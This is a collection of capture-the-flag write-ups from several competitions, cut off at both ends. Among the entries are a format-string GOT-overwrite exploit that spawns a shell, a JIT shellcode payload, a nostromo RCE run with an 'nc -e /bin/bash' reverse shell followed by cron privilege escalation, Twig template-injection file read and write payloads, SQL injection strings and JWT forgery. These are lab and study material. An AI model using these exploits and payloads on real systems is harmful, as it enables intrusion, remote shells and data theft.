\n|/\\|\n \n \n \n \n', 'b': u" _ \n| |__ \n| '_ \\ \n| |_) |\n|_.__/ \n \n", 'f': u' __ \n / _|\n| |_ \n| _|\n|_| \n \n', 'j': u' _ \n (_)\n | |\n | |\n _/ |\n|__/ \n', 'n': u" \n _ __ \n| '_ \\ \n| | | |\n|_| |_|\n \n", 'r': u" \n _ __ \n| '__|\n| | \n|_| \n \n", 'v': u' \n__ __\n\\ \\ / /\n \\ V / \n \\_/ \n \n', 'z': u' \n ____\n|_ /\n / / \n/___|\n \n', '~': u' /\\/|\n|/\\/ \n \n \n \n \n', '!': u' _ \n| |\n| |\n|_|\n(_)\n \n', '%': u' _ __\n(_)/ /\n / / \n / /_ \n/_/(_)\n \n', ')': u'__ \n\\ \\ \n | |\n | |\n | |\n/_/ \n', '-': u' \n \n _____ \n|_____|\n \n \n', '1': u' _ \n/ |\n| |\n| |\n|_|\n \n', '5': u' ____ \n| ___| \n|___ \\ \n ___) |\n|____/ \n \n', '9': u' ___ \n / _ \\ \n| (_) |\n \\__, |\n /_/ \n \n', '=': u' \n _____ \n|_____|\n|_____|\n \n \n', 'A': u' _ \n / \\ \n / _ \\ \n / ___ \\ \n/_/ \\_\\\n \n', 'E': u' _____ \n| ____|\n| _| \n| |___ \n|_____|\n \n', 'I': u' ___ \n|_ _|\n | | \n | | \n|___|\n \n', 'M': u' __ __ \n| \\/ |\n| |\\/| |\n| | | |\n|_| |_|\n \n', 'Q': u' ___ \n / _ \\ \n| | | |\n| |_| |\n \\__\\_\\\n \n', 'U': u' _ _ \n| | | |\n| | | |\n| |_| |\n \\___/ \n \n', 'Y': u'__ __\n\\ \\ / /\n \\ V / \n | | \n |_| \n \n', ']': u' __ \n|_ |\n | |\n | |\n | |\n|__|\n', 'a': u' \n __ _ \n / _` |\n| (_| |\n \\__,_|\n \n', 'e': u' \n ___ \n / _ \\\n| __/\n \\___|\n \n', 'i': u' _ \n(_)\n| |\n| |\n|_|\n \n', 'm': u" \n _ __ ___ \n| '_ ` _ \\ \n| | | | | |\n|_| |_| |_|\n \n", 'q': u' \n __ _ \n / _` |\n| (_| |\n \\__, |\n |_|\n', 'u': u' \n _ _ \n| | | |\n| |_| |\n \\__,_|\n \n', 'y': u' \n _ _ \n| | | |\n| |_| |\n \\__, |\n |___/ \n', '}': u'__ \n\\ \\ \n | | \n > >\n | | \n/_/ \n', " ": u' \n \n \n \n \n \n', "+": u' \n _ \n _| |_ \n|_ _|\n |_| ',} if __name__ == '__main__': r = remote('3.91.74.70', 1338) for _ in range(3): print(r.recvline()) for i in range(200): letters_raw = [] try: for p in range(7): income_line = r.recvline()[:-2] letters_raw.append(income_line) print(income_line) except EOFError as e: break if letters_raw[0].startswith(b'>'): letters_raw[0] = letters_raw[0][1:] print(letters_raw) print('\n'.join([x.decode() for x in letters_raw])) letters = [list(x) for x in letters_raw] letters = list(filter(bool, letters)) letters = np.array([np.array(x) for x in letters]) res = '' while letters.shape[1] > 0: for k, v in standard_dic.items(): letter = np.array([np.array(list(map(ord, x))) for x in v.split('\n') if x != '']) shape = letter.shape guessed_letter = letters[0:shape[0], 0:shape[1]] if guessed_letter.shape == letter.shape and (guessed_letter == letter).all(): res += k print(f'Found letter: {k}') letters = letters[:, shape[1]:] break else: print('Nothing found') exit(0) print(res) res = res.replace('/', '//') res = str(eval(res)) print(res) print(f'Solve {i}') r.sendline(res)``` ###### FLAG: securinets{th1s_w4s_g00d_r1ght??}
## B64DECODER (244pts) ## ![TASK](https://imgur.com/ZVHG4PA.png) This is wont be a detailed writeup , however in this task we have a clear format string vulnerability (line 23) and a leak of a64l function address ![TASK](https://imgur.com/EIv7uYX.png) The idea is to overwrite the GOT entry of a64l function with the address of system in libc (not system@plt) using the format string vulnerability , it's also a partial overwrite because we have a limited length of input (32 characters) and using the leaked address of a64l we can easily know the address of system function , here is my exploit : ```pythonfrom pwn import *import structimport sysdef pad(str): return str+"X"*(32-len(str))payload=""#p=process("./b64decoder")p=remote("challenges.tamuctf.com",2783)d=p.recvuntil("name!")A64Ladd=d[:-18][-10:]TOWRITE="0x"+A64Ladd[-4:]sys=int(TOWRITE,16)-1680-4 #A64l-0x690log.info(TOWRITE)log.info(sys)A64L_PLT=0x804b398a64lADD=p32(A64L_PLT)payload+=a64lADDpayload+="%"+str(sys)+"x%71$hn"log.info("payload crafted")p.sendline(payload)log.info("Sent , Haaaw el shell")p.interactive() ```And Bingo we got our shell :D ![TASK](https://imgur.com/jd78uIm.png) Any questions you can contact me on twitter @BelkahlaAhmed1 , i'm sorry for the lack of details :(
After calling nc misc.2020.chall.actf.co 20204 the server will respond with a barrage of : clam{clam_clam_clam_clam_clam} malc{malc_malc_malc_malc_malc} Removing them will leave us with : type "clamclam" for salvation Sending clamclam will return us with the flag
TL;DR: 1. `<.` * 100 to *move pointer to the negative* into jit-copiled bytecode padding 2. `,` * 100 *read* command to write 100 signs into the jit-compiled bytecode. paste in any shellcode for `system("/bin/sh")` in here3. `<>` * 100 *NOP-padding* to be overwritten by bytecode. Full payload: `<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>`
# Taking Off (433 solves) > So you started revving up, but is it enough to take off? Find the problem in `/problems/2020/taking_off/` in the shell server.>> Author: aplet123 main: ```c++void __fastcall main(int argc, const char **argv, const char **envp){ int v3; int v4; int v5; int i; int v7; char *v8; char s[136]; unsigned __int64 v10; v10 = __readfsqword(0x28u); puts("So you figured out how to provide input and command line arguments."); puts("But can you figure out what input to provide?"); if ( argc == 5 ) { string_to_int(argv[1], (__int64)&v3;; string_to_int(argv[2], (__int64)&v4;; string_to_int(argv[3], (__int64)&v5;; if ( is_invalid(v3) || is_invalid(v4) || is_invalid(v5) || 100 * v4 + 10 * v3 + v5 != 932 || strcmp(argv[4], "chicken") ) { puts("Don't try to guess the arguments, it won't work."); } else { puts("Well, you found the arguments, but what's the password?"); fgets(s, 128, stdin); v8 = strchr(s, 10); if ( v8 ) *v8 = 0; v7 = strlen(s); for ( i = 0; i <= v7; ++i ) { if ( ((unsigned __int8)s[i] ^ 0x2A) != desired[i] ) { puts("I'm sure it's just a typo. Try again."); return; } } puts("Good job! You're ready to move on to bigger and badder rev!"); print_flag(); } } else { puts("Make sure you have the correct amount of command line arguments!"); }}``` Solution: ```pythonimport angrimport claripyimport sysfrom z3 import * def main(): proj = angr.Project('taking_off') arg1 = claripy.BVS('arg1', 8) arg2 = claripy.BVS('arg2', 8) arg3 = claripy.BVS('arg3', 8) argv = [ proj.filename, arg1, arg2, arg3, 'chicken' ] state = proj.factory.entry_state(args=argv) simgr = proj.factory.simgr(state) simgr.explore( find=0x400bb3, avoid=[0x400ACA, 0x400b84, 0x4009d6] ) print(simgr) if len(simgr.found) > 0: f = simgr.found[-1] print(f.posix.dumps(0)) print(f.solver.eval(arg1, cast_to=bytes)) print(f.solver.eval(arg2, cast_to=bytes)) print(f.solver.eval(arg3, cast_to=bytes)) if __name__ == "__main__": solve() sys.exit(main())``` ```bash<SimulationManager with 1 found, 18 avoid>b'please give flag\x00\x00\x00\x00\x10\x01\x08\x02\x02\x02 \x01\x01\x01\x08 \x00\x00\x00\x00\x02 \x80 \x80\x10 \x02 \x80@\x08\x02\x04\x10\x02\x80\x80@\x04 \x80\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'b'3'b'9'b'2'``` ```bash$ ./taking_off 3 9 2 chickenSo you figured out how to provide input and command line arguments.But can you figure out what input to provide?Well, you found the arguments, but what's the password?please give flagGood job! You're ready to move on to bigger and badder rev!actf{th3y_gr0w_up_s0_f4st}```
# excellent-crackme Writeup ### Prompt Excellent CrackmeWe know one can do pretty much everything in Excel spreadsheets, but this... [excel_crackme](VolgaCTF_excel_crackme.xlsm) ### Solution An excel challenge - that's a first for us! Let's crack that file open. We used LibreOffice, as Excel was not installed and Libreoffice was. Upon opening, we are greeted with a message that mentions that macros will not be run for security reasons. we'll look into that in a sec, thank you, LibreOffice. Firstly, let's look at the spreadsheet: ![Image](sheet.png) Nice colors. We see an entry box, and what looks like a submit box. The first thing we did was select all cells, and change text color to not yellow, on a hunch that there is hidden text or data somewhere in the sheet. There is, though we did not find it at first. Under `Tools` > `Macros` > `Edit Macros`, we can see the following: ![Image](macros.png) This looks like slightly obfuscated VPA (Visual Basic for Applications). On further inspection, it appears that everything listed under `Module1` is the same file, just different functions. Therefore, we extract `VolgaCTF` into [VolgaCTFRaw.bas](VolgaCTFRaw.bas). Then, we began manually deobfuscating it, renaming variables and indenting appropriately. We needed not get further than the first function (*fine*, subroutine) `VolgaCTF()` to undstand what is going on. Here is that function (deobfuscated): ```basicPrivate Sub VolgaCTF() Dim string_1 As String Dim long_1 As Long Dim long_2 As Long Dim long_3 As Long string_1 = Range(Chr(76) & Chr(&H31) & Chr(Int("53"))) For idx_outer = 1 To Len(string_1) long_1 = 0 For idx = 1 To Len(string_1) long_2 = CInt(Cells(99 + idx_outer, 99 + idx).Value) middle = Mid(string_1, idx, 1) long_1 = long_1 + long_2 * Asc(middle) Next idx long_3 = CLng(Cells(99 + idx_outer, 99 + Len(string_1) + 1).Value) If (long_3 <> long_1) Then MsgBox Func5(Chr(350416 / 2896) & Chr(Int("114")) & Chr(Int("&H72")) & Chr(Int("57")) & Chr(&H56) & Chr(&H75) & "q" & Chr(Int("113")) & Chr(4751 - 4652) & Chr(Int("69")) & Chr(&H54) & Chr(&H67) & Chr(Int("&H59")) & Chr(102) & "V" & Chr(Int("86"))) Exit Sub End If Next idx_outer MsgBox Func5(Chr(Int("109")) & "q" & Chr(Int("49")) & Chr(Int("57")) & Chr(&H56) & Chr(&H65) & Chr(76) & Chr(Int("112")) & Chr(Int("86")) & "F" & Chr(Int("114")) & Chr(-343 + 395) & Chr(&H32) & Chr(72) & Chr(Int("&H31")) & Chr(100))End Sub``` This can be better understood with [VBScript syntax highlighting](https://github.com/SublimeText/VBScript): ![Image](volgactf.png) Firstly, some local variables are defined (`long_1`, `long_2`, `long_3`). Then `string_1` is set to the `Range()` of `Chr(76) & Chr(&H31) & Chr(Int("53"))`. This becomes `Range("L" & "1" & "5")` (note that `&H31` == `0x31` and elsewhere, the `&` operator is concatenation). Therefore, this becomes `Range(L15)` - this is where the text is entered in the Excel sheet, so `string_1` is the user input. Therefore, the outer loop iterates over the length of user input. We then identified that the first call to `MsgBox` is the one that issues the failure message, and the final one was the success message. We only fail if `long_3 != long_1`. `long_1` is set by repeating for each character in input string, adding the value of the cell at `99 + idx_outer, 99 + idx` multiplied by the ascii value of the current character (at `idx`). `long_3` is set by `long_3 = CLng(Cells(99 + idx_outer, 99 + Len(string_1) + 1).Value)` which takes the value of cell `99 + idx_outer, 99 + Len(string_1) + 1`. Knowing this, we looked at what data is in the sheet around 100,100: ![Image](data.png) The last column is the 'vector' while the rest is the 'matrix'. The code is essentially taking the dot product of the two. We can undo the operations done, and get the ascii value of the characters of the flag by performing `matrix\vector` in `sage`. [Here is the sage script](excellent-crackme-solve.sage). ```VolgaCTF{7h3_M057_M47h_cr4ckM3_y0u_3V3R_533N}``` ~Lyell Read, Phillip Mestas, Lance Roy
# My First Blog ![desc](img/desc.png) > Here is a link to my new blog! I read about a bunch of exploits in common server side blog tools so I just decided to make my website static. Hopefully that should keep it secure.>> Root owns the flag.>> http://172.30.0.2/ # Reconnaissance Let's take a look at the reponse for `GET /` (by going to the URL in the description) in Burp:```htmlHTTP/1.1 200 OKDate: Mon, 23 Mar 2020 07:53:35 GMTServer: nostromo 1.9.6Connection: closeLast-Modified: Sat, 21 Mar 2020 23:05:22 GMTContent-Length: 3682Content-Type: text/html <html lang="en"> <head> <meta name="generator" content="Hugo 0.54.0" /> <meta charset="utf-8"> ``` We see a webserver called `nostromo` and it's version number: `1.9.6`. If you Google `nostromo 1.9.6 vulnerability`, you'll find [this Exploit DB entry](https://www.exploit-db.com/exploits/47837) for CVE-2019-16278, a RCE (remote code execution) vulnerability in `nostromo`. # Initial Compromise Using the RCE script mentioned previously, we can setup a reverse shell via `nc` and connect to the box: ```# in one window$ ./cve2019_16278.py 172.30.0.2 80 'nc -e /bin/bash [ip] 4444 # in another window$ nc -lvp 4444listening on [any] 4444 ...172.30.0.2: inverse host lookup failed: Unknown hostconnect to [ip] from (UNKNOWN) [172.30.0.2] 59234iduid=1000(webserver) gid=1000(webserver) groups=1000(webserver)``` Great! We have a shell as the `webserver` user. Unfortunately, we need to get to root in order to get the flag. # Privilege Escalation One of the first things I look for when doing privilege escalation on HackTheBox is a vulnerable crontab entry, so let's take a look at the cronjobs on the system:```$ cat /etc/*cron*# /etc/crontab: system-wide crontab# Unlike any other crontab you don't have to run the `crontab'# command to install the new version when you edit this file# and files in /etc/cron.d. These files also have username fields,# that none of the other crontabs do. SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command17 * * * * root cd / && run-parts --report /etc/cron.hourly25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )#* * * * * root /usr/bin/healthcheck``` The entry `* * * * * root /usr/bin/healthcheck` catches my eye, let's see what that file is: ```$ ls -al /usr/bin/healthcheck-rwxrwxrwx 1 root root 24 Mar 23 07:44 /usr/bin/healthcheck$ cat /usr/bin/healthcheck#!/bin/bashnc -z localhost 80if [ $? == 1 ]; then echo "nhttpd is dead, restarting." nhttpdfi``` Yay, it's world writable! We can write our own shell script to the file and then cron will execute it! Since I didn't know the exact path to the flag and each team has their own box, I used the following script: ```cat /root/* > /tmp/flag``` If we write that to `/usr/bin/healthcheck`, we should get the flag! ```$ echo "cat /root/* > /tmp/flag" > /usr/bin/healthcheck# wait a little while$ cat /tmp/flaggigem{l1m17_y0ur_p3rm15510n5}```
TL;DR: 1. Mean by subgrouplength 10.2. Plot autocorrelation (selfsimilarity)3. Group by length 964. Mean over all 96 long groups5. Tresholding to get binary6. Bin2Morse via iteratively replacing long and then shorter subsequences7. Morse2Text via replacing subsequences
# Newsletter [200] We are presented with a email newsletter form along with the source code ``` public function subscribe(Request $request, MailerInterface $mailer) { $msg = ''; $email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL); if($email !== FALSE) { $name = substr($email, 0, strpos($email, '@')); $content = $this->get('twig')->createTemplate( "Hello ${name}.Thank you for subscribing to our newsletter.Regards, VolgaCTF Team" )->render(); Hello ${name}. Thank you for subscribing to our newsletter. Regards, VolgaCTF Team $mail = (new Email())->from('[email protected]')->to($email)->subject('VolgaCTF Newsletter')->html($content); $mailer->send($mail); $msg = 'Success'; } else { $msg = 'Invalid email'; echo $msg; } return $this->render('main.twig', ['msg' => $msg]); }``` You can straight up see it is vulnerable to **template injection**, the part before @ of the email is used in creating the template. The user email passes through filter_var with FILTER_VALIDATE_EMAIL argument.FILTER_VALIDATE_EMAIL uses `RFC 822` to check if an email is valid that means almost all characters are allowed if enclosed in quotes. ```"(Injection here)"@vit.fail``` *The only limitation was that the injected code could not be more than 64 chars(62 with the quotes)* To further continue, I created a local enviornment with the given code to work in a debug php environment. https://twig.symfony.com/doc/3.x/ Started of with `"{{dump(app)}}"` which gives out the complete var_dump of the objects we can work with. ![dump app](dump_app.png) ### To print all environment variables `"{{app.request.server.all|join(',')}}"` I could not find the flag here so I moved to finding either a code execution or file read/write. The app.request object also contained a files property, so I did a multipart file upload and the file was there.I could access it using `"{{app.request.files.get(key}}"` Digging the twig source code, the file object was an instance of `Symfony::Component::HttpFoundation::File::UploadedFile` with parent class `Symfony::Component::HttpFoundation::File::File` There was nothing interesting in these classes except a move function which allowed me to move the file with target as an argument.So now I had file write on the server ### File write `"{{app.request.files.get(1).move(app.request.query.get(1))}}"` with the target director in url query `?1=/tmp/x/` But unfortunately I did not have write permissions to `/var/www/newsletter/public/` to upload a shell so I continued my search. The class `Symfony::Component::HttpFoundation::File::File` extended the inbuilt php class `SplFileInfo` https://www.php.net/manual/en/class.splfileinfo.php It only contained metadata except for a openFile method which would give us a `SplFileObject` that contained methods to read and write the file. So my plan was to call the constructor on SplFileInfo with the path of the file I want to read. ### File read `"{{app.request.files.get(1).__construct('/etc/passwd','')}}"` which would give us a SplFileInfo on /etc/passwd and then we could do `"{{app.request.files.get(1).openFile.fread(99)}}"` But now the 62 character limit became a bottleneck. I went through the documentation again and found two possible paths that I could go through. 1. With the file write I have,upload a template file with the file read code and then `{% include %}` it This did not work as twig did not allow including template files outside of the template directory. 2. Do something like this `{{include(template_from_string(app.request.query.get(1)))}}`which did not work as well as `template_from_string` is not enabled by default :/ At this point I ultimately gave up and could not solve the challenge. The solution was in easily visible in the documentation if I would have read carefully `"{{'/etc/passwd'|file_excerpt(1,30)}}"` :/
# Bop-It -- pwn -- 80pts/156solves ```from pwn import * def bop(): p.sendline("B")def pull(): p.sendline("P")def twist(): p.sendline("T")def flagit(arg): p.sendline(arg) p = remote("shell.actf.co", 20702) solved=0 while 1: s1 = str(p.recvline()) if s1 == "Bop it!\n": info("B") p.sendline("B") elif s1 == "Pull it!\n": info("P") p.sendline("P") elif s1 == "Twist it!\n": info("T") p.sendline("T") else: break if s1.startswith("Flag it"): info("F") xpl = "" xpl += "A"*124 p.sendline("\x00"+xpl) #NULL byte para interromper a seleção de dados do #input, passando a obter os dados da stack print p.recvall(1)``` ```fex0r:~/C/A/bop-it➤ python xpl.py [+] Opening connection to shell.actf.co on port 20702: Done[*] B[*] T[*] B[*] B[*] T[*] F[+] Receiving all data: Done (161B)[*] Closed connection to shell.actf.co port 20702 was wrong. Better luck next time!\x00\x00\x00\x00\x00b4^FBV\x00\x00`!�f.\x00\x00~\x00\x00\x00\x19\x00\x00\x00"@^FBV\x00\x00\x10\x90\x1eHBV\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00 ��@^FBV\x00\x00@^FBV\x00\x00\x18@^FBV\x00\x00"@^FBV\x00\x00actf{bopp1ty_bop_bOp_b0p}\x00\x8c\x19\x7f\x00\x00\x00```
# picoCTF 2019 Web Challenges --- ## Inspector(50) ### Problem > Kishor Balan tipped us off that the following code may need inspection: `https://2019shell1.picoctf.com/problem/61676/` ([link](https://2019shell1.picoctf.com/problem/61676/)) or http://2019shell1.picoctf.com:61676 ### Hints > How do you inspect web code on a browser?>> There's 3 parts ### Solution Visiting the website, we right click and choose to view source code, getting the first third of the flag, included as a html comment: ```html ``` The second part of the flag comes from the referenced CSS file [mycss.cs](https://2019shell1.picoctf.com/problem/61676/mycss.css): ```CSS/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */``` The last part comes from the Javascript scipt [myjs.js](https://2019shell1.picoctf.com/problem/61676/myjs.js): ```javascript/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */``` Hence combining the 3 parts gives the flag: `picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}` ## dont-use-client-side(100) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/49886/` ([link](https://2019shell1.picoctf.com/problem/49886/)) or http://2019shell1.picoctf.com:49886 ### Hints > Never trust the client ### Solution Opening the website greets us with a 'login' page, requiring credentials. As referenced by the problem name, we assume that the check for the validity of the credentials is checked locally, and hence can be reversed to obtain the correct password. Checking the html source code gives us: ```html<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == 'e2f2') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_e') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == '4}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }</script>``` The checkpass variable holds our input, and the each substring method in this case gets us *split*(set to 4) number of characters starting from the first argument to the method. We assemble the credentials, and hence the flag, accordingly: `picoCTF{no_clients_plz_ee2f24}` ## logon(100) ### Problem > The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? `https://2019shell1.picoctf.com/problem/32270/` ([link](https://2019shell1.picoctf.com/problem/32270/)) or http://2019shell1.picoctf.com:32270 ### Hints > Hmm it doesn't seem to check anyone's password, except for {{name}}'s? ### Solution No matter what credentials we use for the login, it successfully logs us in but doesn't give us the flag. This suggests that a cookie might be used to store a separate variable that might be preventing us from seeing the flag. Sure enough, we notice an admin cookie set to `False`. Changing this to `True` and refreshing the page gives us the flag: `picoCTF{th3_c0nsp1r4cy_l1v3s_a03e3590}` ## where are the robots(100) ### Problem > Can you find the robots? `https://2019shell1.picoctf.com/problem/21868/` ([link](https://2019shell1.picoctf.com/problem/21868/)) or http://2019shell1.picoctf.com:21868 ### Hints > What part of the website could tell you where the creator doesn't want you to look? ### Solution This challenge references [a file that gives instructions to web crawlers](https://www.robotstxt.org/robotstxt.html), called robots.txt. Visiting https://2019shell1.picoctf.com/problem/21868/robots.txt, we see ```htmlUser-agent: *Disallow: /e0779.html``` Visiting https://2019shell1.picoctf.com/problem/21868/e0779.html now, we get our flag: `picoCTF{ca1cu1at1ng_Mach1n3s_e0779}` ## Client-side-again(200) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/37886/` ([link](https://2019shell1.picoctf.com/problem/37886/)) or http://2019shell1.picoctf.com:37886 ### Hints > What is obfuscation? ### Solution Visiting the website, we are greeted by a page similar to [dont-use-client-side](#dont-use-client-side100). We thus check the source code of the website again, getting an obfuscation Javascript script: ```html<script type="text/javascript"> var _0x5a46=['9d025}','_again_3','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}</script>``` We however, notice the array at the very start, containg a few strings, including some that might be a part of the flag, such as `'picoCTF'` and `'not_this'`. Excluding the error.success/html strings, we are left with `'picoCTF{'`, `'not_this'`, `'_again_3'`, and `'9d025}'`. We try assembling these pieces, we get the flag. `picoCTF{not_this_again_39d025}` ## Open-to-admins(200) ### Problem > This secure website allows users to access the flag only if they are **admin** and if the **time** is exactly 1400. `https://2019shell1.picoctf.com/problem/21882/` ([link](https://2019shell1.picoctf.com/problem/21882/)) or http://2019shell1.picoctf.com:21882 ### Hints > Can cookies help you to get the flag? Visiting the website and clicking `Flag` tells us that we are not the admin, or it;s the incorrect time. From the challenge prompt, we know we need to be admin, and the time needs to be 1400. As hinted, we make a cookie named `Admin` with the value `True`, as seen in [logon](#logon100), and make a `Time` cookie with the value `1400`. Now clicking `Flag` gives us the flag: `picoCTF{0p3n_t0_adm1n5_b6ea8359}` ## picobrowser(200) ### Problem > This website can be rendered only by **picobrowser**, go and catch the flag! `https://2019shell1.picoctf.com/problem/37829/` ([link](https://2019shell1.picoctf.com/problem/37829/)) or http://2019shell1.picoctf.com:37829 ### Hints > You dont need to download a new web browser ### Solution Clicking `Flag` tells us that we are not picobrowser, and then gives us our current [user agent](https://www.wikiwand.com/en/User_agent): ![image-20191013130144946](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvt1ermj3130044js9.jpg) We can use an extension such as [User-Agent Switcher](https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) on Google Chrome, to manually input our desired user agent. We use picobrowser as suggested and get the flag: `picoCTF{p1c0_s3cr3t_ag3nt_7e9c671a}` ## Irish-Name-Repo 1(300) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/47253/` ([link](https://2019shell1.picoctf.com/problem/47253/)) or http://2019shell1.picoctf.com:47253. Do you think you can log us in? Try to see if you can login! ### Hints > There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database?>> Try to think about how does the website verify your login? ### Solution The hint seems to suggest the use of [SQL injection](https://www.owasp.org/index.php/SQL_Injection), hence we start off by trying simple payloads: ```username: admin' --password: password(this field does not matter as it is commented out)``` This gives us the flag: `picoCTF{s0m3_SQL_93e76603}` ## Irish-Name-Repo 2(350) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/60775/` ([link](https://2019shell1.picoctf.com/problem/60775/)). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:60775 ### Hints > The password is being filtered. We start off by trying the same input as [Irish Name Repo 1](#irish-name-repo-1300): ```username: admin' --password: password(this field does not matter as it is commented out)``` This surprisingly gives us the flag as well! `picoCTF{m0R3_SQL_plz_015815e2}` With the hint to this challenge, I assume that Repo 1 was meant to be solved with an OR injection or something of the *like*. ## Irish-Name-Repo 3(400) ### Problem > There is a secure website running at `https://2019shell1.picoctf.com/problem/47247/` ([link](https://2019shell1.picoctf.com/problem/47247/)) or http://2019shell1.picoctf.com:47247. Try to see if you can login as admin! ### Hints > Seems like the password is encrypted. Since the password is hinted to be encrypted, we first check the page source for any signs of encryption to the input, however, do not see any. This means the encryption must be taking place server side. We want to leak the encryption method somehow, so we open [BurpSuite](https://portswigger.net/burp/communitydownload) to monitor the requests made to the site. We input some string(i.e. `abcdefghijklmnopqrstuvwxyz`) and submit the request. In BurpSuite, we notice a `debug` parameter, originally set to `0`. ![image-20191013133255579](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqv38rhfj30gw00ojrh.jpg) We change this to a `1`, and forward the request. Now in addition to the `Login failed` page, we get some debug info: ![image-20191013133400879](https://tva1.sinaimg.cn/large/006y8mN6gy1g7ws9jomqlj30z802qjrv.jpg) The 'encryption' method used is just [ROT13](https://www.wikiwand.com/en/ROT13)! We can thus craft our payloads normally, just running it through a ROT13 converter before sending it through. We utilise a simple payload that escapes the string and always evaluates to true: `' OR 1=1 --` 'Encrypting' it, we get: `' BE 1=1 --` Submitting this as the input, we get our flag: `picoCTF{3v3n_m0r3_SQL_c2c37f5e}` ## Empire 1(400) ### Problem > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. `https://2019shell1.picoctf.com/problem/4155/` ([link](https://2019shell1.picoctf.com/problem/4155/)) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution *TODO* ## JaWT Scratchpad(400) ### Problem > Check the admin scratchpad! `https://2019shell1.picoctf.com/problem/45158/` or http://2019shell1.picoctf.com:45158 ### Hints > What is that cookie?>> Have you heard of JWT? We first enter the website with some username, and notice that we have been issued a `jwt` cookie. This is a [JSON Web Token](https://jwt.io/introduction/). We can also [decode](https://jwt.io/#debugger) our token, where we see the payload to be: ```javascript{ "user": "john"}``` We would obviously like to change the user to admin, however, to encode this, require the secret key. Under the section `Register with your name!`, a hyperlink linking to the JohnTheRipper tool's GitHub page suggests a brute force method is required. Instead of using JohnTheRipper, I chose to use this [jwt-cracker](https://github.com/lmammino/jwt-cracker). Letting it run for a while, I get the secret, `ilovepico`. Using the debugger tool on [jwt.io](jwt.io), we get the cookie to be injected: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s` Injecting this as the cookie and refreshing the page gives us the flag: 